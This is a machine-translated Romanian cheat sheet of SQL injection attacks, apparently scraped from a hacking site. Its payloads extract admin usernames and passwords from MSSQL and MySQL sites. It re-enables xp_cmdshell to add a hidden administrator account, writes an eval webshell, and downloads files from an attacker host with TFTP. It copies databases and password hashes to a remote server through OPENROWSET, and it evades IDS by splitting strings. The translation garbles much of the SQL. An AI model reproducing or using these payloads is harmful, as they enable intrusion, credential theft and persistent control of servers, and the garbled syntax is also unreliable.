Interogări MSSQL cross-database (mâncare mirositoare urâtă!) Întunecat)
Scoate până la ultima picătură de MS SQL
Referințele la instrucțiuni SQL și obiectele de la recordet sunt explicate în detaliu
Despre procedurile stocate în SQL Server
Creează un webshell cu backup mssql
SQL_Injection aplicații avansate
Injectare SQL cross-site (laokai)
Injectarea SQL ciudată (AMANL)
Injecția SQL avansată în aplicațiile SQL Server
Cum să folosești injecția SQL pentru a parcurge directoarele
Ghid al tehnicilor de injecție SQL (Traducător: demonalex)
Unele atacuri asupra bazelor de date SQL
Tehnica de Atac prin Injecție SQL (JSW)
SQL_Injection Aplicații avansate (APACHY)
Metode rare de injecție SQL (Guilin Veteran)
Fă backup unui shell
Vorbește despre structura instrucțiunilor de injecție php+mysql (Heyhehehehe·≯Super· Hei)
Injectare SQL avansată cu MySQL(angel)
L'injection (My)SQL via PHP
Limbajul Oracle SQL
Enciclopedia de injectare manuală SQL
Cerințele prealabile necesită unelte: SQL Query Analyzer și SqlExec Sunx Version ============================================================================================== 1. Determinarea existenței unui punct de injecție ; și 1=1 și 1=2 2. Presupun că numele tabelului nu este altceva decât admin, administrator utilizator user, parolă, etc.: și 0<>(select count(*) de la *) și 0<>(select count(*) din admin) — Determină dacă tabelul admin există 3. Ghicește numărul de conturi Dacă întâlnești 0< întoarce-te la pagina corectă 1< returnează pagina de eroare pentru a indica că numărul de conturi este 1 și 0<(select count(*) de la admin) și 1<(select count(*) de la admin) 4. Ghicește numele câmpului Adaugă numele câmpului la care ne gândim între paranteze len( ). și 1=(select count(*) din admin unde len(*)>0)– și 1=(selectează numărătoarea(*) de la admin unde len(numele câmpului utilizator)>0) și 1=(selectează count(*) din admin unde len(_blank>numele câmpului parolă)>0) 5. Ghicește lungimea fiecărui câmp Ghicește lungimea este să se transforme >0 până când pagina corectă este returnată și 1=(select count(*) din admin unde len(*)>0) și 1=(select count(*) din admin unde eroarea len(name)>6) și 1=(selectează numărul(*) din admin unde len(name)>5) Lungimea corectă este 6 și 1=(select count(*) din admin unde len(name)=6) este corect și 1=(select count(*) din admin unde len(password)>11) este corect și 1=(select count(*) de la admin unde lungimea erorii len(password)>12) este 12 și 1=(select count(*) din admin unde len(password)=12) este corect 6. Ghicește personajele și 1=(select count(*) de la admin unde left(name,1)=a) — Ghicește prima cifră a contului utilizatorului și 1=(select count(*) de la admin unde left(name,2)=ab)—Ghicește a doua cifră a contului utilizatorului Adaugă câte un caracter pe rând să ghicesc, ghicește atâtea cifre câte ai ghicit, iar numărul contului va apărea (1) Ghicește numele mesei
Propoziții folosite: și există (selectează * din numele tabelului)
De exemplu: și există (selectează * din admin)
Dacă pagina reflectă corect, înseamnă că numele tabelului pe care l-am ghicit aici este corect, iar dacă pagina este greșită, înseamnă că numele tabelului pe care l-am scris aici este greșit
, apoi schimbă numele tabelului și continuă să ghicești până când ghici.
În general, denumirile de tabele folosite frecvent includ admin, manage, user sau pune în rularea uneltei (2) Ghicește câmpul
Propoziții folosite: și există (selectează numele câmpului din numele tabelului)
De exemplu: și există (selectează numele de utilizator de la admin)
Aici, presupunând că tabelul admin este tabelul pe care l-am ghicit corect mai sus, atunci vreau să determin dacă câmpul de nume de utilizator există, trebuie să folosesc această afirmație, dacă pagina
Dacă ecoul feței este corect, înseamnă că numele câmpului pe care l-am ghicit aici este corect, iar dacă pagina este greșită, înseamnă că numele câmpului pe care l-am scris aici este greșit
, apoi schimbă numele câmpului și continuă să ghicești până când ghici.
În general, numele comune de câmpuri includ username, password, user, pass, name, pass, pwd, usr, psd și alte câmpuri (3) ordine după
Order by este să obții suma numărului de câmpuri de pe acea pagină, pregătindu-te pentru următoarea interogare comună (4) Union Select
1. Dacă suporti interogarea în comun, găsește bitul de afișare http://www.xxx.com/product_show.asp?id=1 și selectarea uniunii 1=2
1,2,3,4,5,6,7,8,9,10,11 Să presupunem că biții de afișare sunt 5,6. Apoi, trebuie doar să înlocuim numele câmpurilor corespunzătoare numelui de utilizator și parola administratorului cu poziția bitului de afișare aici
http://www.xxx.com/product_show.asp?id=1 and 1=2 union select
1,2,3,4,admin_name,admin_pwd,7,8,9,10,11 de la administrator a găsit autentificarea de fundal 2. Dacă interogarea comună nu este suportată Numele de utilizator și parola administratorului nu pot fi obținute fără interogare comună – folosind decodarea Ascii cuvânt cu cuvânt Doi Folosește order by pentru a judeca numărul de biți din tabel, iar dacă nu funcționează, folosește union select pentru a-i aranja unul câte unul, aici presupunem 8 biți Trei Folosiți o interogare comună pentru a determina biții de afișare Patru Folosiți bitul de afișare pentru a găsi numele bazei de date, versiunea bazei de date, 5.0 sau versiune superioară care poate fi injectată
http://www.xxx.com/news_detail.php?newsid=-1+union+select+1,2,3,4,5,6,concat(database
(),0x5c,user(),0x5c, versiune(),8 Cinci Cu numele de bază de date, poți începe să obții schema de nume de tabel = urmată de valoarea HEX a numelui bazei de date și să ghicești numele tabelului
http://www.xxx.com/news_detail.php?newsid=-1+union+select+1,2,3,4,5,6,GROUP_CONCAT(DISTINCT
+table_name),8 +la+information_schema.coloane+unde+ table_schema=0x666C6965725F6462617365 Șase Numele tabelului analizat determină valoarea HEX a tabelului administratorului=numele tabelului și ghicește câmpurile din tabel http://www.xxx.com/news_detail.php?newsid=-1+union+select+1,2,3,4,5,6,GROUP_CONCAT(DISTINCT
+column_name),8+ de la +information_schema.coloane+unde+table_name=0x7075625F7765626D6173746572 Șapte După ce obținem câmpurile din tabelul de administrare, să luăm conținutul câmpurilor http://www.xxx.com/news_detail.php?newsid=-1+union+select+1,2,3,4,5,6,GROUP_CONCAT(DISTINCT
+nume utilizator, 0x5f,userpwd),8+dină+pub_webmaster Opt Tool scanează fundalul: Conectează-te pentru a încărca troianul după ce îl găsești, iar dacă nu găsești fișierul robots.txt poți accesa Nouă Dacă nu găsești fundalul, parola administratorului MYSQL va fi expusă http://www.xxx.com/news_detail.php?newsid=-1+union+select+1,2,3,4,5,6,concat
(utilizator, parolă), 8+de la+mysql.user Zece Accesează aleatoriu o cale, iar feedback-ul este pagina implicită 404 a IIS6, indicând că serverul site-ului este: Windows+IIS6+php+MySql mediu c:\\windows\\system32\\inetsrv\\MetaBase.xml Această cale poate obține informații despre configurarea site-ului. Instrucțiuni construct http://www.xxx.com/news_detail.php?newsid=-1+union+select+1,2,3,4,5,6,load_file
(0x633A5C5C77696E646F77735C 5C73797374656D33325C5C696E65747372765C5C4D657461426173652E786D6C),8 Unsprezece Analizează codul și găsește adresa de fundal În primul pas, trebuie să obținem lungimea câmpurilor din tabel Declarații folosite: și (selectează top 1 lentile (numele domeniului) din numele tabelului)>0 De exemplu: și (selectează top 1 len(admin_name) din admin)>0 Pagina este afișată normal, lungimea câmpului admin_name este mai mare decât 0 și voi trimite:
http://www.xxx.com/display1_new.asp?id=108 and (select top 1 len(admin_name) from admin)>10 Pagina afișează o eroare care indică faptul că câmpul este între 0 și 10, iar lungimea este 5 folosind dihotomia Folosind aceeași metodă pentru a determina lungimea câmpului pentru parola administratorului, obțin o lungime de 16 Pasul 2 Acum să trecem la al doilea pas, să luăm un anumit caracter din câmp și să obținem codul ASCII al caracterului, care este folosit
Declarație: și (selectează top 1 asc(mid(numele terenului, N,1)) din numele tabelului)>0 Să analizez această propoziție separat, mai întâi funcția cea mai interioară (username, 1,1), care este primul caracter al câmpului admin_name, N
indică faptul că primele câteva caractere trebuie interceptate, Atunci funcția exterioară asc(), care transformă caracterele interceptate de funcția de mijloc în cod ASCII, cel mai exterior top 1, reprezintă câmpul de returnare al primului loc
Un record, deci, ">0" de la final este pentru a compara codul ASCII convertit cu acest număr și, în final, pentru a obține interceptarea prin schimbarea constantă a ultimei valori
Află detaliile acestui personaj Cod ASCII Trimitere:
http://www.xxx.com/display1_new.asp?id=108 and (select top 1 asc(mid(admin_name,1,1)) from
admin)>30 Pagina este afișată normal, indicând că codul ASCII al acestui caracter este mai mare de 30. Trimitere:
http://www.xxx.com/display1_new.asp?id=108 and (select top 1 asc(mid(admin_name,1,1)) from
admin)>90 Pagina este afișată normal, indicând că codul ASCII al acestui caracter este mai mare de 90.
http://www.xxx.com/display1_new.asp?id=108 and (select top 1 asc(mid(admin_name,1,1)) from
admin)=97 Codul ASCII pe care l-am obținut pentru acest personaj este 97 Compară tabelul ASCII: Se poate concluziona că primul caracter este "a". Apoi voi judeca codul ASCII al celui de-al doilea caracter.
http://www.xxx.com/display1_new.asp?id=108 and (select top 1 asc(mid(admin_name,2,1)) from
admin)>90 Pagina este afișată normal, indicând că codul ASCII al caracterului este mai mare de 90, iar ultima valoare este întotdeauna schimbată Aceeași metodă a dat parola administratorului, iar rezultatul pe care l-am obținut a fost:
http://www.xxx.com/display1_new.asp?id=108 and (select top 1 asc(mid(admin_pass,1,1)) from
admin)=52 și 1=(selectează top 1 count(*) din Admin unde Asc(mid(pass,5,1))=51) – Această instrucțiune de interogare poate ghici utilizatorul chinez și parola _blank>. Doar înlocuiește următoarele numere cu codul ASSIC chinezesc
Convertește în caractere.
grupează după users.id având 1=1–www.myhack58.com grupează după users.id, username, users.password, users.privs având 1=1– ; inserează în utilizatori valorile ( 666, attacker, foobar, 0xffff )–
UNION Select TOP 1 COLUMN_blank>_NAME DIN INFORMATION_blank>_SCHEMA. COLOANE Unde
TABLE_blank>_NAME=logintable- UNION Select TOP 1 COLUMN_blank>_NAME DIN INFORMATION_blank>_SCHEMA. COLOANE Unde
TABLE_blank>_NAME=logintable Where COLUMN_blank>_NAME NOT IN (login_blank>_id)- UNION Select TOP 1 COLUMN_blank>_NAME DIN INFORMATION_blank>_SCHEMA. COLOANE Unde
TABLE_blank>_NAME=logintable Unde COLUMN_blank>_NAME NU ESTE ÎN
(login_blank>_id,login_blank>_name)- UNION Select TOP 1 login_blank>_name DIN logintable- UNION Selectează parola TOP 1 FROM logintable unde login_blank>_name=Rahul– Uită-te la patch-ul jucat de serverul _blank> = patch SP4 greșit black bar safe net net și 1=(selectează @@VERSION)–
Uită-te la permisiunile contului _blank> de conexiune de bază de date și returnează normal, dovedind că este permisiunea sysadminului rolului de server _blank>. și 1=(Select IS_blank>_SRVROLEMEMBER(sysadmin)–
Determină contul de bază de date _blank> conectat. (Folosește contul SA pentru a te conecta și returna normal = dovedește că contul conectat este SA) și sa=(Selectează System_blank>_user)– și user_blank>_name()=dbo– și 0<>(select user_blank>_name()–
Vezi dacă xp_blank>_cmdshell șterge și 1=(Select count(*) FROM master.dbo.sysobjects Unde xtype = X ȘI name = xp_blank>_cmdshell)
–
xp_blank>_cmdshell este șters, restaurat și suportă recuperarea absolută a căilor ; EXECUTIV master.dbo.sp_blank>_addextendedproc xp_blank>_cmdshell,xplog70.dll– ; EXECUTIV master.dbo.sp_blank>_addextendedproc xp_blank>_cmdshell,c:\inetpub\wwwroot\xplog70.dll– ============================== permisiunea bazei de date este expusă codului fizic de traseu al site-ului
========================================================================== 1、Drop Table [jm_tmp]; Create table [jm_tmp](value navrchar(4000) null,data nvarchar(4000)
null) -- Creează tabel
2、 șterge [jm_tmp]; inserează [jm_tmp] executiv master.dbo.xp_regread
'HKEY_LOCAL_MACHINE','SYSTEM\ControlSet001\Services\W3SVC\Parameters\Virtual Roots','/'--
Introdu directorul site-ului în câmpul tabel
3、and (selectează top 1 cast([data] ca nvarchar(4000) char(124) din [jm_tmp] ordinea de [data]
desc)=0 '//Câmp expus
4. drop table [jm_tmp] -- șterge acest tabel. pentru ca comanda să obțină carcasa
/c for /r e:\ %i in ("<%eval request("cmd")%>") do @echo %i >>d:\Alte trasee ale stației ======================load_file() Informații sensibile utilizate frecvent =========================================== 1、 înlocuire(load_file(0×2F6574632F706173737764),0×3c,0×20)
2、replace(load_file(char(47,101,116,99,47,112,97,115,115,119,100)), char(60),char(32)) Cele două de mai sus sunt pentru a vizualiza un fișier PHP care afișează complet codul. Există momente când unele caractere nu sunt înlocuite, cum ar fi "<" în loc de "space" care returnează
Pagina web. Și codul nu poate fi vizualizat.
3. load_file(char(47)) poate lista directorul rădăcină al sistemelor FreeBSD și Sunos
4. Vizualizează fișierul de configurare virtuală Linux APACHE în /etc/httpd/conf/httpd.conf sau /usr/local/apche/conf/httpd.conf
5. C:\Program Files\Apache Group\Apache\conf\httpd.conf sau C:\apache\conf\httpd.conf pentru a vizualiza WINDOWS
Fișier System Apache
6. c:/Resin-3.0.14/conf/resin.conf Vizualizați informațiile de configurare a fișierelor de rășină ale site-ului dezvoltat de jsp.
7. c:/Resin/conf/resin.conf /usr/local/resin/conf/resin.conf pentru a vizualiza gazda virtuală JSP configurată pe sistemul Linux
8、d:\APACHE\Apache2\conf\httpd.conf
9、C:\Program Files\mysql\my.ini
10、.. /teme/darkblue_orange/layout.inc.php phpmyadmin explodează path
11. C:\Windows\system32\inetsrv\MetaBase.xml Vizualizați fișierul de configurare virtual al gazdei IIS
12. /usr/local/resin-3.0.22/conf/resin.conf pentru a vizualiza fișierul de configurare RESIN pentru 3.0.22
13. /usr/local/resin-pro-3.0.22/conf/resin.conf La fel ca mai sus
14. /usr/local/app/apache2/conf/extratpd-vhosts.conf Gazdă virtuală APASHE
15. /etc/sysconfig/iptables depinde de politica firewall-ului
16. /usr/local/app/php5 b/php.ini setări echivalente cu PHP
17. /etc/my.cnf fișier de configurare MYSQL
18. /etc/versiunea Red Hat pentru sistemul de lansare redhat
19 、C:\mysql\data\mysql\user. MYD există în parola utilizatorului în sistemul MYSQL
20. /etc/sysconfig/network-scrip{filter}ts/ifcfg-eth0 pentru a vizualiza IP-ul.
21. /usr/local/app/php5 b/php.ini //setări legate de PHP
22. /usr/local/app/apache2/conf/extratpd-vhosts.conf // setări web virtual
23、c:\Program Files\RhinoSoft.com\Serv-U\ServUDaemon.ini
24、c:\Windows\my.ini
25. /etc/issue afișează informațiile de distribuție ale nucleului Linux
26、/etc/ftpuser
27. Verifică fișierul de jurnal de operațiuni sub LINUX user.bash_history sau .bash_profile
28、/etc/ssh/ssh_config
/etc/httpd/logs/error_log
/etc/httpd/logs/error.log
/etc/httpd/logs/access_log
/etc/httpd/logs/access.log
/var/log/apache/error_log
/var/log/apache/error.log
/var/log/apache/access_log
/var/log/apache/access.log
/var/log/apache2/error_log
/var/log/apache2/error.log
/var/log/apache2/access_log
/var/log/apache2/access.log
/var/www/logs/error_log
/var/www/logs/error.log
/var/www/logs/access_log
/var/www/logs/access.log
/usr/local/apache/logs/error_log
/usr/local/apache/logs/error.log
/usr/local/apache/logs/access_log
/usr/local/apache/logs/access.log
/var/log/error_log
/var/log/error.log
/var/log/access_log
/var/log/access.log
/etc/mail/access
/etc/my.cnf
/var/run/utmp
/var/log/wtmp .. /.. /.. /.. /.. /.. /.. /.. /.. /.. /var/log/httpd/access_log .. /.. /.. /.. /.. /.. /.. /.. /.. /.. /var/log/httpd/error_log .. /apache/loguri/error.log .. /apache/logs/access.log .. /.. /apache/loguri/error.log .. /.. /apache/logs/access.log .. /.. /.. /apache/loguri/error.log .. /.. /.. /apache/logs/access.log .. /.. /.. /.. /.. /.. /.. /.. /.. /.. /etc/httpd/logs/acces_log .. /.. /.. /.. /.. /.. /.. /.. /.. /.. /etc/httpd/logs/acces.log .. /.. /.. /.. /.. /.. /.. /.. /.. /.. /etc/httpd/logs/error_log .. /.. /.. /.. /.. /.. /.. /.. /.. /.. /etc/httpd/logs/error.log .. /.. /.. /.. /.. /.. /.. /.. /.. /.. /var/www/logs/access_log .. /.. /.. /.. /.. /.. /.. /.. /.. /.. /var/www/logs/access.log .. /.. /.. /.. /.. /.. /.. /.. /.. /.. /usr/local/apache/logs/access_log .. /.. /.. /.. /.. /.. /.. /.. /.. /.. /usr/local/apache/logs/access.log .. /.. /.. /.. /.. /.. /.. /.. /.. /.. /var/log/apache/access_log .. /.. /.. /.. /.. /.. /.. /.. /.. /.. /var/log/apache/access.log .. /.. /.. /.. /.. /.. /.. /.. /.. /.. /var/log/access_log .. /.. /.. /.. /.. /.. /.. /.. /.. /.. /var/www/logs/error_log .. /.. /.. /.. /.. /.. /.. /.. /.. /.. /var/www/logs/error.log .. /.. /.. /.. /.. /.. /.. /.. /.. /.. /usr/local/apache/logs/error_log .. /.. /.. /.. /.. /.. /.. /.. /.. /.. /usr/local/apache/logs/error.log .. /.. /.. /.. /.. /.. /.. /.. /.. /.. /var/log/apache/error_log .. /.. /.. /.. /.. /.. /.. /.. /.. /.. /var/log/apache/error.log .. /.. /.. /.. /.. /.. /.. /.. /.. /.. /var/log/access_log .. /.. /.. /.. /.. /.. /.. /.. /.. /.. /var/log/error_log
/var/log/httpd/access_log
/var/log/httpd/error_log .. /apache/loguri/error.log .. /apache/logs/access.log .. /.. /apache/loguri/error.log .. /.. /apache/logs/access.log .. /.. /.. /apache/loguri/error.log .. /.. /.. /apache/logs/access.log
/etc/httpd/logs/acces_log
/etc/httpd/logs/acces.log
/etc/httpd/logs/error_log
/etc/httpd/logs/error.log
/var/www/logs/access_log
/var/www/logs/access.log
/usr/local/apache/logs/access_log
/usr/local/apache/logs/access.log
/var/log/apache/access_log
/var/log/apache/access.log
/var/log/access_log
/var/www/logs/error_log
/var/www/logs/error.log
/usr/local/apache/logs/error_log
/usr/local/apache/logs/error.log
/var/log/apache/error_log
/var/log/apache/error.log
/var/log/access_log
/var/log/error_log ======================================================== Fă tu însuți experimentul PING invers ; folosește maestr; declară @s int; exec sp_blank>_oacreate "wscrip{filter}t.shell", @s out; Executiv
sp_blank>_oamethod @s,"run",NULL,"cmd.exe /c ping 192.168.0.1"; –
Adaugă un cont ;D ECLARE @shell INT EXEC SP_blank>_OACreate wscrip{filtering}t.shell, @shell OUTPUT EXEC SP_blank>_OAMETHOD
@shell,run,null, C:\WINNT\system32\cmd.exe /c net user jiaoniang$ 1866574 /add–
Creează un disc electronic de director virtual: ; declare @o int exec sp_blank>_oacreate wscrip{filter}t.shell, @o out exec sp_blank>_oamethod @o, run,
NULL, cscrip{filter}t.exe c:\inetpub\wwwroot\mkwebdir.vbs -w "default website" -v "e","e:\"–
Atribute de acces: (scriind într-un webshell) declare @o int exec sp_blank>_oacreate wscrip{filter}t.shell, @o out exec sp_blank>_oamethod @o, run,
NULL, cscrip{filter}t.exe c:\inetpub\wwwroot\chaccess.vbs -a w3svc/1/ROOT/e +browse
Truc special _blank> pentru bursting în bibliotecă: :%5c=\ sau modifică %5 cu / și \ pentru a face commit și 0<>(selectează căile top 1 din noutabel)–
Obține numele bazei de date (de la 1 la 5 sunt ID-urile sistemului și le poți judeca peste 6) și 1=(selectează numele din master.dbo.sysdatabases unde dbid=7)– și 0<>(select count(*) din master.dbo.sysdatabases unde name>1 și dbid=6) Trimite dbid pe rând = 7,8,9.... Află mai multe nume _blank> baze de date
iar 0<>(selectează numele de top 1 din bbs.dbo.sysobjects unde xtype=U) intră într-un tabel presupunând administrator și 0<>(selectează numele de top 1 din bbs.dbo.sysobjects unde xtype=tu și name care nu apare în (Admin)).
Alte mese. și 0<>(select count(*) din bbs.dbo.sysobjects unde xtype=tu și name=admin și uid>(str(id))) Valoarea numerică a UID-ului este presupusă a fi 18779569 uid=id iar 0<>(selectează numele de top 1 din bbs.dbo.syscolumns unde id=18779569) primește un câmp admin, false
Setat pe user_blank>_id și 0<>(selectează numele de top 1 din bbs.dbo.syscolumns unde id=18779569 și numele care nu apare (id,...)) pentru a expune alte domenii și 0<(selectează user_blank>_id din BBS.dbo.admin unde username>1) pentru a obține numele de utilizator La rândul său, poți obține _blank> parolă。。。。。 Să presupunem că există câmpuri precum numele user_blank>_id utilizator, parola etc
și 0<>(select count(*) din master.dbo.sysdatabases unde name>1 și dbid=6) și 0<>(selectează numele de top 1 din bbs.dbo.sysobjects unde xtype=U) pentru a obține numele tabelului și 0<>(selectează numele de top 1 din bbs.dbo.sysobjects unde xtype=tu și name not in(Adresă)) și 0<>(select count(*) din bbs.dbo.sysobjects unde xtype=tu și name=admin și uid>(str(id)))
Determinarea valorii id și 0<>(selectează numele de top 1 din BBS.dbo.syscolumns unde id=773577794) toate câmpurile
?id=-1 uniune selectează 1,2,3,4,5,6,7,8,9,10,11,12,13,* de la admin ?id=-1 union select 1,2,3,4,5,6,7,8,*,9,10,11,12,13 de la admin (Union,Access este de asemenea ușor de folosit)
Obține calea WEB ; Creează tabel [dbo]. [schimb] ([swappass][char](255)); – și (selectează top 1 swappass din swap)=1– ; Create TABLE newtable(id int IDENTITY(1,1),paths varchar(500)) Declare @test varchar(20) exec
Maestre.. xp_blank>_regread @rootkey=HKEY_blank>_LOCAL_blank>_MACHINE, @key=SISTEM
\CurrentControlSet\Services\W3SVC\Parameters\Virtual Roots\, @value_blank>_name=/, values=@test
OUTPUT inserează în căi(căi) valori(@test)– ; folosiți KU1; – ; create table cmd (imagine str); – Creează un cmd de tabel al tipului de imagine 1. Modul de a elimina procesul de extindere a xp_cmdshell este să se folosească următoarea afirmație:
dacă există (selectează * din dbo.sysobjects unde id=object_id(N'[dbo].[ xpcmdshell]') și
OBJECTPROPERTY(id,N'IsExtendedProc')=1) executiv sp_dropextendedproc N'[dbo]. [xp_cmdshell]'
2. Modul de a adăuga xp_cmdshell proces de extensie este să se folosească următoarea afirmație:
(1) Analizor de interogări SQL
sp_addextendedproc xp_cmdshell,@dllname='xplog70.dll'
(2) Mai întâi, completați procenturile în opțiunea Format din SqlExec Sunx Version și introduceți-le în opțiunea CMD
sp_addextendedproc 'xp_cmdshell', 'xpsql70.dll'
îndepărtează
sp_dropextendedproc 'xp_cmdshell'
(3)MSSQL2000
sp_addextendedproc 'xp_cmdshell', 'xplog70.dll' Există xp_blank>_cmdshell procese de testare: ; Șec Teacher.. xp_blank>_cmdshell dir ; executiv master.dbo.sp_blank>_addlogin jiaoniang$; – Adaugă conturi SQL ; Exec master.dbo.sp_blank>_password null,jiaoniang$,1866574; – ; executiv master.dbo.sp_blank>_addsrvrolemember jiaoniang$ sysadmin; – ; Utilizator master.dbo.xp_blank>_cmdshell executiv jiaoniang$ 1866574 /workstations:* /times:all
/passwordchg:yes /passwordreq:yes /active:yes /add;– ; exec master.dbo.xp_blank>_cmdshell net localgroup administrators jiaoniang$ /add; – Șec Teacher.. xp_blank>_servicecontrol începe, programează începutul _blank> serviciu Șec Teacher.. xp_blank>_servicecontrol începe, serverul ; DECLARE @shell INT EXEC SP_blank>_OACreate wscrip{filtering}t.shell, @shell OUTPUT EXEC SP_blank>_OAMETHOD
@shell,run,null, C:\WINNT\system32\cmd.exe /c utilizator net jiaoniang$ 1866574 /add ;D ECLARE @shell INT EXEC SP_blank>_OACreate wscrip{filtering}t.shell, @shell OUTPUT EXEC SP_blank>_OAMETHOD
@shell,run,null, C:\WINNT\system32\cmd.exe /c net localgroup administrators jiaoniang$ /add ; Șec Teacher.. xp_blank>_cmdshell tftp - i youip get file.exe – Încărcare fișiere folosind TFTP
; declare @a sysname set @a=xp_blank>_+cmdshell exec @a dir c:\ ; declare @a sysname set @a=xp+_blank>_cm'+'dshell exec @a dir c:\ ; declarați @a; set @a=db_blank>_name(); baza de date de backup @a pe disc=IP-ul tău Directorul tău partajat bak.dat Dacă este restricționat, da. selectează * din openrowset(_blank>sqloledb,server; Sa; ,selectează OK! Executiv
master.dbo.sp_blank>_addlogin hax)
Structura interogării: Selectează * DE la știri Unde id=... ȘI subiect=... ȘI ..... adminand 1=(select count(*) from [user] where username=victim și right(left(userpass,01),1)=1)
și userpass <> selectează 123; – ; folosește maestr; – :a sau nume precum fff%; – Afișează un utilizator numit ffff. și 1<>(select count(email) de la [utilizator]); – ; actualizare [utilizatori] setează email=(selectează numele top 1 din sysobjects unde xtype=tu și status>0) unde
nume=ffff; – ; actualizare [utilizatori] setează email=(selectează ID-ul top 1 din sysobjects unde xtype=tu și name=ad) unde
nume=ffff; – ; actualizare [utilizatori] setează email=(selectează numele top 1 din sysobjects unde xtype=tu și id>581577110)
unde name=ffff; – ; actualizare [utilizatori] setați email=(selectați top 1 count(id) din parolă) unde name=ffff; – ; actualizare [utilizatori] setează email=(selectează top 1 pwd din parolă unde id=2) unde nume=ffff; – ; actualizare [utilizatori] setează email=(selectează nume de top 1 din parolă unde id=2) unde nume=ffff; – Afirmația de mai sus este să obții primul tabel de utilizator din baza de date _blank> și să pui numele tabelului în câmpul de email al utilizatorului ffff. Vizualizând profilul utilizatorului de pe ffff, poți obține primul tabel numit AD Apoi obține ID-ul acestui tabel conform anunțului cu numele tabelului pentru a obține numele celui de-al doilea tabel
inserează în User Values( 666, char(0×63)+char(0×68)+char(0×72)+char(0×69)+char(0×73),
char(0×63)+char(0×68)+char(0×72)+char(0×69)+char(0×73), 0xffff)– inserează în valorile utilizatorilor(667,123,123,0xffff)– Inserează în User Values (123, admin–, parolă, 0xffff)– ; și user>0 ; și (select count(*) din sysobjects)>0 ; și (select count(*) din mysysobjects)>0 // pentru baza de date access_blank>
Enumeră numele tabelului de date ; actualizează aaa setează aaa=(selectează numele top 1 din sysobjects unde xtype=tu și status>0); – Aici este actualizat primul nume de tabel la domeniul AAA. Citește primul tabel, iar al doilea tabel poate fi citit așa (adaugă și numește după condiție<> numele tabelului pe care tocmai l-ai primit). ; actualizează aaa set aaa=(selectează numele top 1 din sysobjects unde xtype=tu și status>0 și
nume<>vot); – Atunci id=1552 și există (selectează * din aaa unde aaa>5) Citește al doilea tabel și citește-l pe rând până nu mai rămâne nimic. Câmpul de citire arată astfel: ; actualizează aaa set aaa=(selectează top 1 col_blank>_name(object_blank>_id(numele tabelului),1)); – Apoi id=152 și exists (select * din aaa unde aaa>5) primește o eroare și primește numele câmpului ; actualizează aaa set aaa=(selectează top 1 col_blank>_name(object_blank>_id(numele tabelului),2)); – Apoi id=152 și exists (select * din aaa unde aaa>5) primește o eroare și primește numele câmpului
[Obține numele tabelului de date] [Actualizează valoarea câmpului la numele tabelului, apoi citește valoarea acestui câmp pentru a obține numele tabelului] update table name set field=(selectează top 1 name din sysobjects unde xtype=tu și status>0 [ și nume<>
Numele tabelului pe care îl primești Găsește unul plus unu]) [unde condiție] selectează numele de top 1 din sysobjects unde xtype=tu și
Status>0 și numele nu în(tabel1,tabel2,...) Crearea unui cont de administrator de bază de date și a unui cont de administrator de sistem _blank> _blank> injectarea vulnerabilităților prin SQLSERVER [Contul curent trebuie să fie grupul SYSADMIN]
[Obține numele câmpului Datatable] [Actualizează valoarea câmpului la numele câmpului, apoi citește valoarea acestui câmp pentru a obține numele câmpului] Update Table Name Set Field=(Select Top 1 col_blank>_name(object_blank>_id (numele tabelului de date către interogare), coloana câmpului
De exemplu: 1) [unde condiția]
Ocolirea detectării IDS [folosind variabile] ; declare @a sysname set @a=xp_blank>_+cmdshell exec @a dir c:\ ; declare @a sysname set @a=xp+_blank>_cm'+'dshell exec @a dir c:\
1. Deschiderea bazei de date _blank> la distanță Sintaxă de bază select * din OPENROWSET(SQLOLEDB, server=nume server; uid=sa; pwd=123, selectează * din tabel1 ) Parametri: (1) Numele furnizorului OLEDB 2. Parametrul șirului de conexiune poate fi orice port de conectare, cum ar fi select * din OPENROWSET(SQLOLEDB, uid=sa; pwd=123; Network=DBMSSOCN; Adresă=192.168.0.1,1433; ,
selectează * din tabel 3. Copiază întreaga bază de date de _blank> a gazdei țintă și inserează toate tabelele remote în tabelul local.
Sintaxă de bază: inserează în OPENROWSET(SQLOLEDB, server=servername; uid=sa; pwd=123, selectează * din tabel1) selectează
* din tabelul 2 Această instrucțiune linie copiază toate datele din tabelul table2 de pe gazda țintă în tabelul table1 din baza de date _blank> la distanță. Reparații adecvate în aplicare practică
Schimbă adresa IP și portul șirului de conexiune astfel încât să indice unde ai nevoie, de exemplu: inserează în OPENROWSET(SQLOLEDB,uid=sa; pwd=123; Network=DBMSSOCN; Adresă=192.168.0.1,1433; ,selectează
* din tabel1) selectează * din tabel2 inserează în OPENROWSET(SQLOLEDB,uid=sa; pwd=123; Network=DBMSSOCN; Adresă=192.168.0.1,1433; ,selectează
* din _blank>_sysdatabases) selectează * din master.dbo.sysdatabases inserează în OPENROWSET(SQLOLEDB,uid=sa; pwd=123; Network=DBMSSOCN; Adresă=192.168.0.1,1433; ,selectează
* din _blank>_sysobjects) select * din user_blank>_database.dbo.sysobjects inserează în OPENROWSET(SQLOLEDB,uid=sa; pwd=123; Network=DBMSSOCN; Adresă=192.168.0.1,1433; ,selectează
* din _blank>_syscolumns) selectează * din user_blank>_database.dbo.syscolumns Replică baza _blank> de date: inserează în OPENROWSET(SQLOLEDB,uid=sa; pwd=123; Network=DBMSSOCN; Adresă=192.168.0.1,1433; ,selectează
* din tabel1) selectează * din baza de date.. Tabel1 inserează în OPENROWSET(SQLOLEDB,uid=sa; pwd=123; Network=DBMSSOCN; Adresă=192.168.0.1,1433; ,selectează
* din tabel2) selectează * din baza de date.. Tabelul2
Hash-ul parolei care copiază autentificarea tabelului hash (HASH) _blank> parola este stocat în sysxlogin-uri. Iată cum: inserați în OPENROWSET(SQLOLEDB,
uid=sa; pwd=123; Network=DBMSSOCN; Adresă=192.168.0.1,1433; ,selectează * din _blank>_sysxlogins)
select * din database.dbo.sysxlogins Odată ce obții hash-ul, poți să-l forțezi cu forța.
Pentru a parcurge directorul: Mai întâi, creează un tabel temporar: temp ; creează temperatura tabelului (id nvarchar(255),num1 nvarchar(255),num2 nvarchar(255),num3 nvarchar(255)); – ; inserați master.dbo.xp_blank>_availablemedia executiv temporar; – Obține toate unitățile curente ; inserează în temp(id) exec master.dbo.xp_blank>_subdirs c:\; – Obține o listă de subdirectoare ; inserează în temp(id,num1) exec master.dbo.xp_blank>_dirtree c:\; – Obține structura arborelui de directoare pentru toate subdirectoarele,
Îmbină incii în tabelul de temperaturi ; inserează în temp(id) exec master.dbo.xp_blank>_cmdshell tipul C:\web\index.asp; – Vizualizează un fișier
